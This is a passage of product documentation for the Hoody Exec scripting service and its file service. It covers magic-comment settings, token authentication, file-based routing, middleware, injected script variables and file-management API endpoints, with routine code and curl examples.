- `minimal` — Request line and final status/duration only (skips the detailed request/response logs)
- `standard` — Request metadata and headers (default)
- `full` — Standard plus request/response bodies (body capture still gated by `@log-request-body` / `@log-response-body`)
- `debug` — Full plus internal execution details (VM creation, module loading, etc.)

---

## AI Integration

| Comment | Values | Default | Description |
|---------|--------|---------|-------------|
| `@ai` | `true` \| `false` | `true` | Enable AI helpers — injects `model`, `openai`, `ai`, `generateText`, `streamText`, `generateObject` |
| `@ai-model` | model name | `minimax/minimax-m2.5` | AI model to use (e.g., `anthropic/claude-sonnet-4.5`) |
| `@ai-temperature` | `0` - `2` | — | AI temperature parameter (provider default when unset) |
| `@ai-max-tokens` | number | — | Max tokens for AI response (provider default when unset) |
| `@ai-key` | string | server-configured | AI API key override (default uses the server's `--ai-key` flag) |

**Example:**
```javascript
// @mode serverless
// @ai true
// @ai-model anthropic/claude-sonnet-4.5
// @ai-temperature 0.3

const { text } = await generateText({
  model,
  prompt: `Summarize this: ${req.body.content}`
});

return { summary: text };
```


When `@ai true` is set, you get the **Vercel AI SDK** helpers injected directly — no imports, no API key setup. The `model` variable is pre-configured with your `@ai-model` selection and uses [Hoody AI](/foundation/hoody-ai/) for authentication.

**See [AI-Powered Scripts](/kit/exec/ai-integration/) for the complete AI integration guide.**


---

## Authentication

| Comment | Values | Default | Description |
|---------|--------|---------|-------------|
| `@token` | string | — | Per-endpoint shared secret. Requests must provide the token via one of four methods |

**Add `@token` to protect any endpoint — no middleware, no auth library, no config:**

```javascript
// @token my-secret-key-123
// @cors reflective

return { data: 'only authenticated requests see this' };
```

Clients authenticate using any of these methods (checked in priority order):

| Priority | Method | Example |
|----------|--------|---------|
| 1a | `Authorization: Bearer <token>` | `curl -H "Authorization: Bearer my-secret-key-123" ...` |
| 1b | `Authorization: Basic` (password field) | `curl -u user:my-secret-key-123 ...` or `curl -u :my-secret-key-123 ...` |
| 2 | `X-Token` header | `curl -H "X-Token: my-secret-key-123" ...` |
| 3 | `?token=` query parameter | `curl "https://...?token=my-secret-key-123"` |


**Basic auth uses the password field as the token.** The username is ignored — send anything (or nothing) as the username. This makes `@token` work out-of-the-box with tools like `curl -u :secret`, browser auth dialogs, and HTTP clients that only support Basic auth.


**Security details:**
- Constant-time comparison (SHA-256 + `timingSafeEqual`) — immune to timing attacks
- Token is **redacted** in all API responses, logs, and access logs (`[REDACTED]`)
- `?token=` is stripped from `req.url` and `metadata.parameters` before your script runs
- CORS preflight (`OPTIONS`) returns `204` without requiring auth (spec-correct behavior)
- WebSocket `upgrade` requests are also gated — pass the token via header or `?token=`
- Empty or whitespace-only values are ignored (endpoint stays public)

**See [Authentication](/kit/exec/authentication/) for the complete guide with examples.**

---

## Advanced Features

| Comment | Values | Default | Description |
|---------|--------|---------|-------------|
| `@websocket` | _(flag)_ | — | **Requires worker mode** — Enable WebSocket support |
| `@label` | string | — | Script classification label for filtering and organization |
| `@return-type` | TypeScript type | — | TypeScript type definition for the script's return value |
| `@return-type-mode` | `strict` \| `warn` \| `dev` | `strict` | Enforcement mode for `@return-type` validation. `strict` rejects on mismatch, `warn` logs only, `dev` enforces only outside production |
| `@description` | text | — | API documentation description |
| `@tags` | `Tag1, Tag2` | — | Categorization tags for API documentation |

**Examples:**
```javascript
// @mode worker
// @websocket                     // Enable WebSocket handlers
// @label user-api               // Classify this script
// @return-type { id: string, name: string, email: string }
// @return-type-mode strict      // Enforce return-type at runtime
// @description User profile API
// @tags Users, Profile
```


`@websocket` requires worker mode — serverless mode cannot maintain persistent connections. See [Execution Modes](/kit/exec/execution-modes/#websocket-support-worker-mode-only) for WebSocket details.


---

## Magic Comments API

Manage magic comments programmatically via API endpoints:

| Endpoint | Description |
|----------|-------------|
| `GET /api/v1/exec/magic-comments/schema` | Get the canonical schema of all supported magic comments |
| `GET /api/v1/exec/magic-comments/read` | Read magic comments from a script |
| `PUT /api/v1/exec/magic-comments/update` | Update magic comments on a script |
| `POST /api/v1/exec/magic-comments/bulk-update` | Bulk update magic comments across multiple scripts |


  
    ```bash
    # Read magic comments from a specific script
    hoody exec magic-comments read --path "api/hello.ts"
    ```
  
  
    ```typescript
    // Get the full magic comments schema
    const schema = await containerClient.exec.magic.getSchema();
    console.log(schema.data);

    // Read magic comments from a specific script
    const comments = await containerClient.exec.magic.read({ path: 'api/hello.ts' });
    console.log(comments.data); // { mode: "serverless", cors: "reflective", ... }
    ```
  
  
    ```bash
    # Get the full magic comments schema
    curl "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/magic-comments/schema"

    # Read magic comments from a specific script
    curl "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/magic-comments/read?path=api/hello.ts"
    ```
  


---

## Quick Reference

All magic comments at a glance:

| Category | Comments |
|----------|----------|
| **Execution** | `@mode`, `@enabled`, `@timeout`, `@await-promises`, `@concurrent` |
| **Authentication** | `@token` |
| **CORS** | `@cors`, `@cors-credentials`, `@cors-methods`, `@cors-headers`, `@cors-max-age` |
| **Logging** | `@log-level`, `@debug`, `@log-request-body`, `@log-response-body`, `@log-max-body-size`, `@log-exclude-headers`, `@log-retention-days`, `@debug-instrument` |
| **AI** | `@ai`, `@ai-model`, `@ai-temperature`, `@ai-max-tokens`, `@ai-key` |
| **Advanced** | `@websocket`, `@label`, `@return-type`, `@return-type-mode`, `@description`, `@tags` |

---

## What's Next

---

# Routing & Middleware

**Page:** kit/exec/routing

[Download Raw Markdown](./kit/exec/routing.md)

---

# Routing & Middleware

**Create files, get HTTP endpoints.** Hoody Exec uses file-based routing — the filesystem IS your routing configuration. No route definitions, no Express router, no configuration files. Create a file at `api/users/[id].ts` and you instantly have a dynamic endpoint at `/api/users/123`.

---

## File-Based Routing

Create files → instant HTTP endpoints with Next.js-style patterns:

```
scripts/1/api/hello.ts        → GET /api/hello
scripts/1/users.ts            → GET /users
scripts/1/api/users/[id].ts   → GET /api/users/123
scripts/1/docs/[...slug].ts   → GET /docs/api/guide/intro
```

**That's it.** No route registration. No middleware configuration. The file path IS the route.

---

## Instance Directories

Scripts are organized into **instance directories**. Each instance gets its own hostname and isolated script namespace.

**File Storage** (instance directory):
```
/hoody/storage/hoody-exec/scripts/1/api/users/[id].ts
                                  └┬┘
                               Instance
```

**URL Paths** (no instance prefix):
```
GET /api/users/123 → executes scripts/1/api/users/[id].ts
GET /users         → executes scripts/1/users.ts
GET /docs/api/guide → executes scripts/1/docs/[...slug].ts
```

**The instance number** (`1`, `2`, `test`, etc.) is:
- In the **hostname**: `exec-1`, `exec-2`, `exec-test`
- In the **storage path**: `scripts/1/`, `scripts/2/`, `scripts/test/`
- **NOT in the URL path**: `/api/users` (not `/1/api/users`)

**Access URLs:**
```txt
https://PROJECT_ID-CONTAINER_ID-exec-1.SERVER.containers.hoody.icu/api/hello
https://PROJECT_ID-CONTAINER_ID-exec-2.SERVER.containers.hoody.icu/users/123
https://PROJECT_ID-CONTAINER_ID-exec-test.SERVER.containers.hoody.icu/docs/api/guide
```


Use multiple instances to organize different concerns: `exec-1` for your main API, `exec-2` for webhooks, `exec-test` for development. Each instance has its own scripts directory and hostname.


---

## Dynamic Route Patterns

Hoody Exec supports Next.js-style dynamic routing with brackets:

### Single Parameter — `[param]`

```
scripts/1/users/[id].ts → /users/123
```

Access via `metadata.parameters.id` → `"123"`

### Multiple Parameters — `[param1]/[param2]`

```
scripts/1/blog/[year]/[month].ts → /blog/2024/11
```

Access via `metadata.parameters.year` → `"2024"`, `metadata.parameters.month` → `"11"`

### Catch-All — `[...slug]`

Matches **one or more** path segments (requires at least one):

```
scripts/1/docs/[...slug].ts → /docs/api/guide/intro
```

Access via `metadata.parameters.slug` → `["api", "guide", "intro"]`

```javascript
// scripts/1/docs/[...slug].ts
const parts = metadata.parameters.slug; // ["api", "guide", "intro"]
const fullPath = parts.join('/');       // "api/guide/intro"
return { section: parts[0], path: fullPath };
```


Catch-all requires **at least one** segment. `/docs` alone will **not** match `docs/[...slug].ts` — use optional catch-all `[[...slug]]` if you need to match the bare prefix too.


### Optional Catch-All — `[[...path]]`

Matches **zero or more** path segments (also matches the bare prefix):

```
scripts/1/pages/[[...path]].ts → /pages OR /pages/about OR /pages/blog/post/1
```

Access via `metadata.parameters.path` → `[]` or `["about"]` or `["blog", "post", "1"]`

```javascript
// scripts/1/pages/[[...path]].ts
const parts = metadata.parameters.path; // [] for /pages, ["about"] for /pages/about
if (parts.length === 0) {
  return { page: "index" };            // Bare /pages
}
return { page: parts.join('/') };       // /pages/about → "about"
```

---

## Pattern Reference

| Pattern | File Path | Matches | Parameters |
|---------|-----------|---------|------------|
| **Static** | `scripts/1/api/hello.ts` | `/api/hello` | `{}` |
| **Index** | `scripts/1/api/index.ts` | `/api` | `{}` |
| **Dynamic** | `scripts/1/users/[id].ts` | `/users/123` | `{ id: "123" }` |
| **Nested Dynamic** | `scripts/1/blog/[year]/[month].ts` | `/blog/2024/11` | `{ year: "2024", month: "11" }` |
| **Catch-All** | `scripts/1/docs/[...slug].ts` | `/docs/api/guide/intro` | `{ slug: ["api", "guide", "intro"] }` |
| **Optional Catch-All** | `scripts/1/pages/[[...path]].ts` | `/pages` or `/pages/about` | `{ path: [] }` or `{ path: ["about"] }` |


**Key difference:** `[...slug]` requires at least one segment after the prefix (fails on `/docs` alone), while `[[...path]]` also matches the bare prefix (`/pages` returns `{ path: [] }`).


---

## Dynamic Directory Segments

Dynamic parameters can appear in **directory names**, not just file names. This lets you build deeply nested, RESTful route hierarchies:

```
scripts/1/users/[userId]/settings.ts           → /users/42/settings
scripts/1/users/[userId]/posts/[postId].ts     → /users/42/posts/99
scripts/1/shops/[shopId]/products/[productId].ts → /shops/abc/products/xyz
```

```javascript
// scripts/1/users/[userId]/posts/[postId].ts
const { userId, postId } = metadata.parameters;
// userId = "42", postId = "99"
const post = await db.getPost(userId, postId);
return { post };
```

---

## File Extensions

- Both `.ts` (TypeScript) and `.js` (JavaScript) scripts are supported
- TypeScript files are automatically transpiled — no build step needed
- URL paths can include or omit the file extension: `/api/hello` and `/api/hello.ts` both resolve
- `index.ts` (or `index.js`) files match the directory root: `api/index.ts` handles `/api`

---

## Route Priority

When multiple files could match a URL, Hoody Exec uses this priority order:

1. **Exact match** — `api/users.ts` beats `api/[param].ts` for `/api/users`
2. **Dynamic segments** — `api/[id].ts` beats `api/[...slug].ts` for `/api/123`
3. **Catch-all** — `api/[...slug].ts` catches everything else
4. **Optional catch-all** — `api/[[...path]].ts` is the lowest priority fallback

### Route Collision Handling

When multiple dynamic route files exist at the same directory level (e.g., `[id].js` and `[slug].js`), **the first match based on filesystem order wins**. This behavior is non-deterministic and should be avoided.

```
scripts/1/products/[id].ts      ← These compete for /products/abc
scripts/1/products/[slug].ts    ← Filesystem order determines winner
```


**Best practice:** Avoid placing multiple competing dynamic segments in the same directory. If you need different parameter names, use distinct path prefixes instead:

```
scripts/1/products/by-id/[id].ts     → /products/by-id/123
scripts/1/products/by-slug/[slug].ts → /products/by-slug/cool-widget
```


---

## Middleware System (Worker Mode)

Worker mode supports a **pre/post middleware** system that runs around requests matching a script in the **same directory** as the middleware files.

**Execution order:** `pre.js` → main script → `post.js`


  

```javascript
// scripts/1/api/pre.js
// @mode worker

// Authentication check
if (!req.headers.authorization) {
  res.statusCode = 401;
  return { error: "Unauthorized" }; // Early exit — main script skipped
}

// Validate token and add to shared
const userId = validateToken(req.headers.authorization);
shared.currentUser = { userId, timestamp: Date.now() };

// Return nothing to continue to main script
```

**Key behavior:**
- Runs before requests matching a script in the same directory (`api/`)
- Return a value to short-circuit (skip main script)
- Return nothing (or `undefined`) to continue to main script
- Can set `shared` properties for the main script to use




```javascript
// scripts/1/api/users.js
// Your regular endpoint script (same directory as pre.js/post.js)

const users = await db.getUsers();
return { users };
```

  
  

```javascript
// scripts/1/api/post.js
// @mode worker

// mainResult contains the main script's return value (concurrency-safe!)
return {
  success: true,
  data: mainResult,
  user: shared.currentUser?.userId,
  timestamp: new Date().toISOString(),
  version: "1.0.0"
};
```

**Key behavior:**
- Runs after requests matching a script in the same directory (`api/`)
- `mainResult` contains the return value from the main script
- Return a new value to replace/wrap the main script's response
- Runs even when `pre.js` short-circuits — perfect for logging, cleanup, response envelopes





Middleware files (`pre.js`, `post.js`) are discovered in the **same directory as the matched script** — place them alongside the route files they wrap.

**Worker mode only** — middleware is not supported in serverless mode.


### Middleware Discovery

When a request matches a script, Hoody Exec looks for a `pre.js` and a `post.js` in the **same directory as the matched script file** (either `.js` or `.ts` — TypeScript is tried first). The middleware files apply to the routes in their own directory.

```
scripts/1/api/users/pre.js       ← Runs before scripts in api/users/
scripts/1/api/users/[id].ts      ← Main script executes
scripts/1/api/users/post.js      ← Runs after, receives mainResult
```

**Execution order:** `pre.js` → main script → `post.js`. The discovery does **not** walk up the directory tree — `pre.js`/`post.js` only apply to scripts in the directory that contains them. To wrap an entire instance, place the matched scripts and their `pre.js`/`post.js` in the same directory.

The `mainResult` variable is available in `post.js`, containing the return value from the main script. `post.js` runs even when `pre.js` short-circuits (returns a value) — so it can still log, clean up, or re-shape the response.


**Serverless mode limitation** — Middleware (`pre.js`/`post.js`) requires worker mode (`@mode worker`). In serverless mode, each request gets a fresh VM, so middleware state cannot be shared between the middleware and the main script. If you need request processing pipelines in serverless mode, handle pre/post logic within the script itself.


---

## Route API Endpoints

Hoody Exec provides API endpoints for programmatic route management:

### Resolve Route

Determine which script handles a given URL path:


  
    ```bash
    # Resolve which script handles a URL path
    hoody exec routes resolve --body '{"path":"/api/users/123"}'
    ```
  
  
    ```typescript
    const containerClient = await client.withContainer({
      id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER
    });
    const result = await containerClient.exec.route.resolve({
      path: '/api/users/123'
    });
    console.log(result.data); // { matched: true, path: "/api/users/123", hostname: "...", execId: "1", triedDirectories: [...] }
    ```
  
  
    ```bash
    curl -X POST "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/route/resolve" \
      -H "Content-Type: application/json" \
      -d '{"path": "/api/users/123"}'
    ```
  


### Discover Routes

List all available routes in an instance:


  
    ```bash
    # Discover all routes in the exec instance
    hoody exec routes discover
    ```
  
  
    ```typescript
    const routes = await containerClient.exec.route.discover();
    console.log(routes.data.routes); // [{ pattern: "/api/hello", file: "api/hello.ts" }, ...]
    ```
  
  
    ```bash
    curl -X POST "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/route/discover" \
      -H "Content-Type: application/json"
    ```
  


### Test Routes

Test multiple URL paths against the routing system in a single batch:


  
    ```bash
    # Test multiple paths against routes
    hoody exec routes test --body '{"paths":["/api/users/123","/api/health","/nonexistent"]}'
    ```
  
  
    ```typescript
    const test = await containerClient.exec.route.test({
      paths: ['/api/users/123', '/api/health', '/nonexistent']
    });
    console.log(test.data);
    // { tested: 3, matched: 2, notMatched: 1, results: [
    //   { path: "/api/users/123", matched: true, scriptPath: "...", parameters: { id: "123" } },
    //   { path: "/api/health", matched: true, scriptPath: "...", parameters: {} },
    //   { path: "/nonexistent", matched: false }
    // ]}
    ```
  
  
    ```bash
    curl -X POST "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/route/test" \
      -H "Content-Type: application/json" \
      -d '{"paths": ["/api/users/123", "/api/health", "/nonexistent"]}'
    ```
  


---

## What's Next

---

# Writing Scripts

**Page:** kit/exec/writing-scripts

[Download Raw Markdown](./kit/exec/writing-scripts.md)

---

# Writing Scripts

**No boilerplate. No exports. No imports.** Write your logic, return a value — Hoody Exec handles everything else. Every parameter you need is automatically injected into your script context.

---

## Basic Script Structure

A Hoody Exec script is a plain TypeScript/JavaScript file. Magic comments at the top configure behavior. The rest is your code. Return a value and it becomes the HTTP response.

```typescript
// scripts/1/api/users/[id].ts
// @mode worker
// @cors reflective
// @timeout 5000

// ALL parameters automatically available:
// req, res, metadata, shared, console, require, ws
// (mainResult is additionally available only in post.js middleware)

const { id } = metadata.parameters; // Dynamic route param
const user = await fetchUser(id);

// Return value auto-formatted as JSON
return { user };
```

**Key points:**
- **No `export default`** — parameters are injected automatically
- **No `module.exports`** — just write code at the top level
- **No imports needed** for built-ins — `crypto`, `fs`, `path`, `$`, `Database` are pre-injected
- **Magic comments** go at the very top, before any code
- **Return** a value to send it as the response (or use `res` for full control)



**Pattern 1: Direct return** (recommended for simple scripts)
```javascript
// @mode serverless
return { hello: 'world', time: Date.now() };
```

**Pattern 2: Module exports** (for scripts needing the full handler signature)
```javascript
// @mode serverless
module.exports = async (req, res, metadata, shared) => {
  return { hello: 'world', time: Date.now() };
};
```

Both patterns work identically. The direct return pattern is simpler and recommended for most scripts.


---

## Automatically Available Variables

**Every script automatically receives these parameters — no imports, no configuration needed:**

<div style="margin: 1.5rem 0; padding: 1.25rem; background: var(--sl-color-bg-sidebar); border: 2px solid var(--sl-color-hairline); border-radius: 8px;">

### Core HTTP Objects

```typescript
// req - Incoming HTTP request
req.url          // '/api/users/123'
req.method       // 'GET', 'POST', etc.
req.headers      // { 'authorization': 'Bearer ...', ... }
req.body         // Parsed JSON body (if Content-Type: application/json)
```

### Response Object

```typescript
// res - HTTP response (for full control)
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ success: true }))
res.statusCode = 404  // Set status code
res.setHeader('X-Custom', 'value')
```

### Metadata Object

```typescript
// metadata - Request context and routing info
metadata.executionId      // Unique execution ID
metadata.parameters       // { id: '123' } from dynamic routes like [id].ts
metadata.clientIp         // REAL client IP (see below)
metadata.path             // '/api/users/123'
metadata.method           // 'GET', 'POST', etc.
metadata.url              // Full URL
metadata.query            // Parsed query string { search: 'term' }
```

### State & Tools

```typescript
// shared - State object (persists in worker mode, resets in serverless)
shared.cache = new Map()       // Worker: persists across requests
shared.requestCount = 0        // Serverless: reset every request

// console - Logger
console.log('message')
console.info('info')
console.debug('debug')
console.error('error')

// require - Module loader (auto-installs missing modules)
const axios = require('axios')      // Auto-installed if not present
const lodash = require('lodash')    // Auto-installed if not present
```

### WebSocket Context (`ws`)

Available when `// @websocket` is enabled (worker mode only). Provides full control over WebSocket connections:

```typescript
// Event handlers — Direct assignment pattern
ws.open = (socket, req) => { ... }
ws.message = (socket, data) => { ... }
ws.close = (socket, code, reason) => { ... }
ws.error = (socket, error) => { ... }

// OR Event emitter pattern
ws.on('open', (socket, req) => { ... })
ws.on('message', (socket, data) => { ... })
ws.on('close', (socket, code, reason) => { ... })
ws.on('error', (socket, error) => { ... })

// Connection management
ws.connections         // Set of all active WebSocket connections for this hostname
ws.broadcast(data)     // Send data to ALL connected clients
ws.broadcast(data, excludeSocket)  // Send to all except one client

// Socket data — available on each socket instance
socket.data.ip           // Client IP address
socket.data.url          // Request URL
socket.data.headers      // Request headers
socket.data.parameters   // Dynamic route parameters
socket.data.executionId  // Unique execution ID for this connection
```

### Post Middleware Result (`mainResult`)

```typescript
// mainResult - ONLY available in post.js middleware
// Contains the return value of the main script that just executed
// Use it to wrap, transform, or log responses

// post.js example:
return {
  data: mainResult,
  timestamp: Date.now(),
  requestId: metadata.executionId
};
```

### AI Helpers (when `@ai` enabled)

```typescript
// Available when // @ai true is set — no imports needed
ai              // Helper namespace with three methods:
                //   ai.generate(opts) — generate a text completion
                //   ai.stream(opts)   — stream text chunks
                //   ai.object(opts)   — generate structured JSON against a schema
openai          // Pre-configured OpenAI SDK client instance
model           // Pre-configured Vercel AI SDK model (from @ai-model or default)
generateText    // Vercel AI SDK — generate text completions
streamText      // Vercel AI SDK — stream text responses
generateObject  // Vercel AI SDK — generate structured JSON objects
```

See [AI-Powered Scripts](/kit/exec/ai-integration/) for full usage examples and model configuration.

</div>

---

## Response Helpers

The `res` object is enhanced with Express-like convenience methods:

```typescript
res.json({ data: 'value' })       // Send JSON response
res.send('text')                   // Send text response
res.html('<h1>Hello</h1>')        // Send HTML response
res.redirect('/new-path')         // HTTP redirect
res.stream(readableStream)        // Stream response
res.status(404)                   // Set status code (chainable)
```

**Example with chaining:**
```typescript
// Return a 201 JSON response
res.status(201).json({ created: true, id: 'abc123' });
```

---

## Bun Globals & Node.js Built-ins

These are pre-injected into every script — no `require` or `import` needed:

```typescript
// $ - Bun.$ for shell commands
const output = await $`ls -la /home/user`.text()
const result = await $`echo "Hello"`.text()

// Database - bun:sqlite Database constructor (require('bun:sqlite').Database)
const db = new Database('/hoody/databases/app.db')
const rows = db.query('SELECT * FROM users').all()

// Node.js built-ins (pre-injected)
crypto.randomUUID()                // crypto module
fs.readFileSync('/path/to/file')   // fs module
path.join('/home', 'user')         // path module
// Also available: http, https, net, tls, child_process
```


`$` (Bun shell) executes commands on the container. Use it for system tasks, but be mindful of security — never pass unsanitized user input to shell commands.


---

## Return Anything

**Return whatever you want** — Hoody Exec automatically handles content types, serialization, and status codes.

```javascript
// Return Object → Auto-formatted JSON (Content-Type: application/json)
return { users: [...], count: 42 };

// Return Array → Auto-formatted JSON array
return [{ id: 1 }, { id: 2 }];

// Return String (HTML detected) → Content-Type: text/html
return "<!DOCTYPE html><html><body>Hello</body></html>";

// Return String (other) → Content-Type: text/plain
return "Plain text response";

// Return Number → JSON number
return 42;

// Return Boolean → JSON boolean
return true;

// Return Buffer → Auto-detected MIME type (images, PDFs, files)
return fs.readFileSync('/path/to/image.png');  // Automatic image/png

// Return Error → 500 status with error details
return new Error("Something went wrong");

// Return Nothing → Empty 204 response
// (no return statement or return undefined)
```

**For full control**, use `res` directly to bypass auto-handling:
```javascript
res.writeHead(200, { 'Content-Type': 'application/xml' });
res.end('<?xml version="1.0"?><data>Custom</data>');
```

**The abstraction**: You focus on logic. Hoody Exec handles HTTP protocol details automatically.

---

## Real Client IPs



**`metadata.clientIp` contains the REAL client IP address** — not the proxy IP.

Unlike traditional setups where you manually parse `X-Forwarded-For` headers, Hoody Exec reads the `x-forwarded-for` header set by the Hoody Proxy and exposes the real client IP directly on `metadata.clientIp`:

```javascript
// CORRECT - Just use it directly
const clientIp = metadata.clientIp;  // 203.0.113.50 (real user IP)
```

**This works for rate limiting, geolocation, access control, analytics — everything.**

See [Hoody Proxy — Real Client IPs](/foundation/proxy/#real-client-ips-zero-configuration) for technical details.



---

## Pre-installed Packages

These npm packages are bundled and always available — no installation delay on first use:

| Package | Description |
|---------|-------------|
| `@ai-sdk/openai` | Vercel AI OpenAI provider |
| `ai` | Vercel AI SDK |
| `axios` | HTTP client |
| `cheerio` | HTML parser (jQuery-like) |
| `cookie` | Cookie parser |
| `dayjs` | Date library |
| `ejs` | Template engine |
| `jsonwebtoken` | JWT creation/verification |
| `lodash` | Utility library |
| `marked` | Markdown parser |
| `mime-types` | MIME type detection |
| `openai` | Official OpenAI SDK |
| `papaparse` | CSV parser |
| `playwright-core` | Browser automation (Chromium/Firefox/WebKit) — bring your own browser |
| `puppeteer-core` | Headless Chrome/Firefox automation — bring your own browser |
| `qrcode` | QR code generator |
| `rss-parser` | RSS/Atom feed parser |
| `sanitize-html` | HTML sanitizer |
| `uuid` | UUID generation |
| `ws` | WebSocket client/server |
| `xml2js` | XML ↔ JS object parser |
| `yaml` | YAML parser |
| `zod` | Schema validation (also exposed as `z`) |

Any other npm package is auto-installed on first `require()` — no `package.json` needed.

---

## Script Storage Paths

Scripts are stored in instance-specific directories:

```
/hoody/storage/hoody-exec/scripts/default/1/     # exec-1 (under default subdomain)
/hoody/storage/hoody-exec/scripts/default/2/     # exec-2
/hoody/storage/hoody-exec/scripts/default/test/  # exec-test
# Runtime routing also accepts the execId-only fallback /hoody/storage/hoody-exec/scripts/1/
```

**The instance number** (`1`, `2`, `test`, etc.) maps to the hostname:
- `exec-1` → `scripts/1/`
- `exec-2` → `scripts/2/`
- `exec-test` → `scripts/test/`

**To create scripts programmatically**, use the [`scripts/write` endpoint](/api/exec/script-management/):

```bash
curl -s -X POST "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/scripts/write" \
  -H "Content-Type: application/json" \
  -d '{
    "path": "api/hello.ts",
    "content": "// @mode serverless\nreturn { hello: \"world\" };",
    "createDirs": true,
    "validate": true
  }'
```


When creating exec scripts programmatically (from AI agents, other services, automation), **always use the `scripts/write` endpoint** — never write directly via hoody-files. The `scripts/write` endpoint validates magic comments, checks syntax, and places files in the correct instance directory.


---

## Companion System Prompt Files

When using AI-powered scripts (`// @ai true`), you can define system prompts in companion markdown files. These are loaded automatically and injected into the AI context.

### Script-Level System Prompt

Create a `.system.md` file matching your script name:

```
scripts/1/
├── chat.js            # Your AI script
├── chat.system.md     # System prompt for chat.js (loaded automatically)
├── summarize.js
└── summarize.system.md
```

The file `chat.system.md` is automatically loaded when `chat.js` executes. Write your system prompt as plain markdown:

```markdown
You are a helpful coding assistant. Be concise and provide working code examples.
Always explain your reasoning step by step.
```

### Directory-Level Default System Prompt

Create a `_system.md` file to set a default system prompt for all AI scripts in that directory:

```
scripts/1/api/
├── _system.md         # Default system prompt for all scripts in api/
├── chat.js            # Uses _system.md (no script-level override)
├── chat.system.md     # Overrides _system.md for chat.js specifically
└── translate.js       # Uses _system.md
```

**Resolution order**: Script-level (`chat.system.md`) takes precedence over directory-level (`_system.md`).

See [AI-Powered Scripts](/kit/exec/ai-integration/) for full details on AI configuration and model selection.

---

## Powered by Bun

Hoody Exec runs on the [Bun](https://bun.sh) runtime:

- **3x faster startup** — Native speed optimizations
- **Modern JavaScript** — Latest ECMAScript features built-in
- **Better module system** — Improved dependency handling
- **Optimized for serverless** — Perfect for fast script execution
- **Lower memory usage** — More efficient runtime

---

## What's Next

---

# Files

**Page:** kit/files

[Download Raw Markdown](./kit/files.md)

---

# Files

**Every file is a URL.** Read, download, hash, and browse files across local storage and 60+ cloud providers—Google Drive, Dropbox, S3, OneDrive, and more—through one consistent HTTP interface.

Every Hoody container includes **hoody-files**, providing unified access to files wherever they live.

---

## What You Can Do

**hoody-files** transforms storage into HTTP endpoints:

- **🌐 Web File Manager** - Visual file browser with built-in code editor—main entry point for interactive file management
- **📖 Read Files** - Stream content via HTTP from any mounted storage
- **⬇️ Download Files** - With progress tracking and integrity verification
- **ℹ️ Get Metadata** - Size, type, modification time without downloading
- **🔐 Verify Hashes** - SHA256, MD5 integrity checking
- **📁 List Directories** - Browse with sorting, filtering, multiple formats
- **🔗 Mount 60+ Providers** - Google Drive, S3, Dropbox, SFTP, WebDAV, and more
- **🌐 Multiple Formats** - HTML browser, JSON API, simple text for scripts
- **📦 Archive Preview** - Inspect .tar.gz/.zip contents without extracting
- **🗜️ Quick Archive Download** - Download any directory as .zip with `?zip` parameter
- **🔄 Base64 Encoding** - Embed files in JSON or data URLs


**Related Storage Features:**
- **[Cloud Storage →](/foundation/storage/cloud/)** - Connect 60+ providers to your container
- **[Shared Storage →](/foundation/storage/sharing-files/)** - Access files across multiple containers via shared directories
- **[Mount Locally →](/foundation/storage/mount-locally/)** - Access container files from your desktop via SSHFS/WebDAV
- **[Proxy Permissions →](/foundation/proxy/permissions/)** - Control who can access files (IP whitelist, passwords, JWT)

**Cross-container file access:** Use Shared Storage to create directories accessible from multiple containers. Each container's hoody-files service can then read/write the shared directory as if it were local storage.


---

## API Endpoints Summary

**Official Technical Reference:**

For complete endpoint documentation with all parameters, responses, and examples:

**File Reading & Downloading:**
- **[GET /api/v1/files/\{path\}](/api/files/reading/)** - Read/download file content
  - Query params: `backend`, `base64`
- **[GET /\{path\}](/api/files/reading/)** - Alternative endpoint with HTML/JSON/simple formats
  - Query params: `json`, `simple`, `backend`, `content-type`
- **[HEAD /\{path\}](/api/files/metadata/)** - Get metadata without downloading
  - Returns: Content-Length, Content-Type, Last-Modified, ETag, Accept-Ranges

**File Integrity:**
- **[GET /api/v1/files/\{path\}?hash](/api/files/hashing/)** - Get SHA256 hash
- **[GET /api/v1/files/\{path\}?sha256](/api/files/hashing/)** - Alias for hash
- **[GET /\{path\}?preview](/api/files/reading/)** - Preview archive contents (tar.gz, zip)

**Archive Operations:**
- **[GET /\{path\}?zip](/api/files/directories/)** - Download directory as .zip archive
  - Recursively archives entire directory tree
  - Perfect for quick backups or file transfers

**Directory Listing:**
- **[GET /api/v1/files/\{path\}](/api/files/directories/)** - List directory as JSON
- **[GET /\{path\}?json](/api/files/directories/)** - Directory listing with metadata
- **[GET /\{path\}?simple](/api/files/directories/)** - Plain text listing for scripts
  - Query params: `sort` (name|size|mtime), `order` (asc|desc)

**Backend Management:**
- **[POST /api/v1/backends/\{type\}](/api/files/mount/cloud/)** - Mount storage backend
  - Supported: drive, dropbox, onedrive, s3, azure, gcs, b2, sftp, ftp, webdav, +50 more
- **[GET /api/v1/backends](/api/files/managing-backends/)** - List all mounted backends
- **[GET /api/v1/backends/\{id\}](/api/files/managing-backends/)** - Get backend details
- **[GET /api/v1/backends/\{id\}/test](/api/files/managing-backends/)** - Test backend connection
- **[DELETE /api/v1/backends/\{id\}](/api/files/managing-backends/)** - Disconnect backend

**System Monitoring:**
- **[GET /api/v1/files/health](/api/files/monitoring/)** - Service health status
- **[GET /api/v1/downloads](/api/files/monitoring/)** - List active downloads
- **[GET /api/v1/extractions](/api/files/monitoring/)** - List active extractions

---

## Core Capabilities

### 1. Web File Manager (Main Entry Point)

**Open the container files URL in your browser for visual file management:**

```
https://{project}-{container}-files.{server}.containers.hoody.icu
```

**Interactive web interface with:**
- 📁 **Visual folder navigation** - Click folders to browse
- 🔍 **Built-in search** - Find files quickly
- ↕️ **Sortable columns** - Sort by name, size, date
- ✏️ **Code editor** - Edit text files directly in browser with syntax highlighting
- 📤 **Upload interface** - Drag-and-drop file uploads (if permitted)
- 📥 **Download manager** - Click to download files
- 🗜️ **Archive creation** - Create .zip/.tar.gz directly
- 👁️ **File preview** - View images, PDFs, text files inline

